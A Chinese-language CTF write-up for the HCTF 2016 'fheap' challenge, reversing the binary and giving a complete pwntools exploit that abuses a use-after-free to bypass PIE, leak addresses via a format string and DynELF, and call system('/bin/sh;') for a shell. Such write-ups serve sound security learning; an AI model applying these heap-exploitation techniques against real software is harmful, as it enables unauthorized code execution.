HCTF 2016 fheap 做题笔记

前言

一道UAF题, HCTF 2016 - fheap

ctfhubfheap

过程

在这里插入图片描述

在这里插入图片描述

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char buf[1032]; // [rsp+0h] [rbp-410h] BYREF
  unsigned __int64 v5; // [rsp+408h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("+++++++++++++++++++++++++++");
  puts("So, let's crash the world");
  puts("+++++++++++++++++++++++++++");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        sub_114B();
        if ( !read(0, buf, 0x400uLL) )
          return 1LL;
        if ( strncmp(buf, "create ", 7uLL) )
          break;
        sub_EC8();
      }
      if ( strncmp(buf, "delete ", 7uLL) )
        break;
      sub_D95();
    }
    if ( !strncmp(buf, "quit ", 5uLL) )
      break;
    puts("Invalid cmd");
  }
  puts("Bye~");
  return 0LL;
}

分析create函数

    if ( read(0, buf, nbytes) == -1 )
    {
      puts("got elf!!");
      exit(1);
    }
    nbytesa = strlen(buf);
    if ( nbytesa > 0xF )
    {
      dest = malloc(nbytesa);
      if ( !dest )
      {
        puts("malloc faild!");
        exit(1);
      }
      strncpy(dest, buf, nbytesa);
      *ptr = dest;
      *(ptr + 3) = sub_D6C;
    }
    else
    {
      strncpy(ptr, buf, nbytesa);
      *(ptr + 3) = sub_D52;
    }
    *(ptr + 4) = nbytesa;

这一段描述程序接收str后的保存, 如果小于等于15字节用ptr所指地址保存, 否则申请更大的buf保存, 同时*(ptr + 3)*(ptr + 4)分别保存free函数(sub_D6C或者sub_D52) 和 字符串长度nbytesa
总结为

typedef struct Str{
	union{
		char *dest;
		char s[16];
	}str; // 24字节 (根据反编译结果判断 ptr, ptr+1, ptr+2用来保存string
	void (*free)(struct Str *ptr); // 8字节
	int len; // 4字节 实际占ptr + 4地址处8字节
}Str; // 40字节

往下分析

    for ( i = 0; i <= 15; ++i )
    {
      if ( !*(&unk_2020C0 + 4 * i) )
      {
        *(&unk_2020C0 + 4 * i) = 1;
        *(&unk_2020C0 + 2 * i + 1) = ptr;
        printf("The string id is %d\n", i);
        break;
      }
    }
    if ( i == 16 )
    {
      puts("The string list is full");
      (*(ptr + 3))(ptr);
    }

大概可以猜出这是strings的数组, 最多有16个string, 并且带有标志位, 1时为有效string, ptr为string的指针, 看反编译结果比较迷惑, 步长两个不一样, 应该是IDA分析结果有问题, 直接看汇编

lea     rax, unk_2020C0
mov     edx, [rbp+var_102C] # mov edx, i
movsxd  rdx, edx
shl     rdx, 4 # rdx = rdx*16
add     rax, rdx
mov     dword ptr [rax], 1
lea     rax, unk_2020C0
mov     edx, [rbp+var_102C]
movsxd  rdx, edx
shl     rdx, 4
add     rdx, rax
mov     rax, [rbp+ptr]
mov     [rdx+8], rax
mov     eax, [rbp+var_102C]
mov     esi, eax
lea     rdi, aTheStringIdIsD ; "The string id is %d\n"
mov     eax, 0
call    _printf
jmp     short loc_1109

所以步长应该是2, shl 4, 相当于*16, 两个字长, 所以标志位用一个字长保存, 指针用一个字长保存, 弄清之后恢复出来数据结构就是

struct{
	int tag;
	Str* ptr;
}Strs[16];

接着分析delete函数

  printf("Pls give me the string id you want to delete\nid:");
  v1 = sub_B65();
  if ( v1 < 0 || v1 > 16 )
    puts("Invalid id");
  if ( *(&unk_2020C0 + 2 * v1 + 1) )
  {
    printf("Are you sure?:");
    read(0, buf, 0x100uLL);
    if ( !strncmp(buf, "yes", 3uLL) )
    {
      (*(*(&unk_2020C0 + 2 * v1 + 1) + 24LL))(*(&unk_2020C0 + 2 * v1 + 1));
      *(&unk_2020C0 + 4 * v1) = 0;
    }
  }

这里有个比较隐蔽的double free, 结合前面的create流程可以构造一个UAF漏洞, 因为没有将指针置为null, 所以free chunk后可以再使用, 不过是覆盖函数指针ptr之后再delete, 这样可以实现特定函数调用

利用思路: 申请两个<16字节的chunk设为chunk1, chunk2, 依次释放chunk2, chunk1, 申请一个32字节的chunk, 传入的字符串会覆盖到原来chunk2的ptr指针处, 再次释放chunk2就可以调用ptr所指的函数
在这里插入图片描述

利用过程

(1)用puts函数泄露libc基址
(2)接着用printf函数构造格式化漏洞泄露system地址
(3)最后传入system地址, 字符串保存"/bin/sh\x00", 调用delete功能, 即可get shell

objdump -d pwn > pwn.txtdump出pwn的二进制数据

将free函数覆盖成puts, 打印出指令call 980的地址, 根据偏移980计算出程序加载基址(绕过 PIE), 计算出printf_plt地址后, 第二步调用printf_plt泄露system地址, 第三步调用system("/bin/sh\x00")
在这里插入图片描述
在这里插入图片描述

接下来是用DynELF泄露system地址, delete函数中的buf在栈上, 给buf按8字节对齐传入想要泄露的addr, 找到偏移量为9

得到system地址就完事

from pwn import *

url, port = "challenge-c8646496b7d6285e.sandbox.ctfhub.com", 23200
filename = "./pwn"
elf = ELF(filename)
# libc = ELF("")

debug = 0
if debug:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

printf_plt = 0

def add_str(size, content):
    io.sendafter("quit\n", "create ")
    io.sendlineafter("size:", str(size))
    content = content.ljust(size, b'\x00')
    io.sendafter("str:", content)

def delete_str(idx):
    io.sendafter("quit\n", "delete ")
    io.sendlineafter("id:", str(idx))
    io.sendafter("sure?:", "yes")

def leak(addr):
    delete_str(0)
    payload = b"zz%9$s" + b"#" * (0x18 - len("zz%9$s")) + p64(printf_plt)
    add_str(0x20, payload)
    io.sendafter("quit\n", "delete ")
    io.sendlineafter("id:", "1")
    io.sendafter("sure?:", b"yeszzzzz" + p64(addr))
    io.recvuntil(b"zz")
    data = io.recvuntil("####")[:-4]
    data += b"\x00"
    return data

def pwn():
    global printf_plt

    add_str(8, b"1111")
    add_str(8, b"2222")
    add_str(8, b"3333")
    delete_str(2)
    delete_str(1)
    delete_str(0)

    payload = b"y" * 0x10 + b"z" * 0x8 + b"\x2d" + b"\x00"
    add_str(0x20, payload)
    delete_str(1)
    io.recvuntil(b"z" * 0x8)
    data = io.recvline()[:-1]
    if len(data) > 8: data = data[:8]
    data = u64(data.ljust(8, b'\x00'))

    process_base = data - 0xd2d
    print("process base address: ", process_base)
    printf_plt = process_base + 0x9d0

    delete_str(0)
    payload = b"y" * 0x10 + b"z" * 0x8 + b"\x2d" + b"\x00"
    add_str(0x20, payload)
    delete_str(1)

    dyn = DynELF(leak, process_base, elf = elf)
    system_addr = dyn.lookup("system", "libc")

    delete_str(0)
    payload = b"/bin/sh;".ljust(0x18, b"#") + p64(system_addr)
    add_str(0x20, payload)
    delete_str(1)
    io.interactive()

if __name__ == "__main__":
    pwn()

总结

难点

分析出double free漏洞
绕过PIE保护
定位格式化漏洞的偏移
泄露libc基址
本地不能调试

卡点

弄清相对偏移以确认程序基址卡住很长时间

ljust()的坑点
在python3下, 需要统一变量类型, 填充的对象和填充的字符需要统一类型, bytes对bytes, str对str
在这里插入图片描述
还有给system传入的字符串应该是"/bin/sh;"不是"/bin/sh\x00", 因为system执行的字符串不仅仅是/bin/sh, 还有跟在后面的其他字符, 所以需要;隔开表示这是一个完整命令

还有个坑点, 就是sendline和send的问题, 全部用sendline和全部都用send无法打通, 有的地方比较离谱, sendline能过, send就不行, 只能一个个试错了, 没有找到必过的规律, 太菜了T T

最后且重要的一点, 需要通过double free调用puts函数两次, 不然fastbins结构不对, 打不通
就是这里

    payload = b"y" * 0x10 + b"z" * 0x8 + b"\x2d" + b"\x00"
    add_str(0x20, payload)
    delete_str(1)
    io.recvuntil(b"z" * 0x8)
    data = io.recvline()[:-1]
    if len(data) > 8: data = data[:8]
    data = u64(data.ljust(8, b'\x00'))

    process_base = data - 0xd2d
    print("process base address: ", process_base)
    printf_plt = process_base + 0x9d0

    delete_str(0)
    payload = b"y" * 0x10 + b"z" * 0x8 + b"\x2d" + b"\x00"
    add_str(0x20, payload)
    delete_str(1)

(参考资料不够详细, 对萌新实在是灾难
花了7h才打通这题, 开荒阶段还是比较辛苦啊

参考

B站 星盟安全pwn教程

https://blog.csdn.net/qq_33528164/article/details/79515831

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值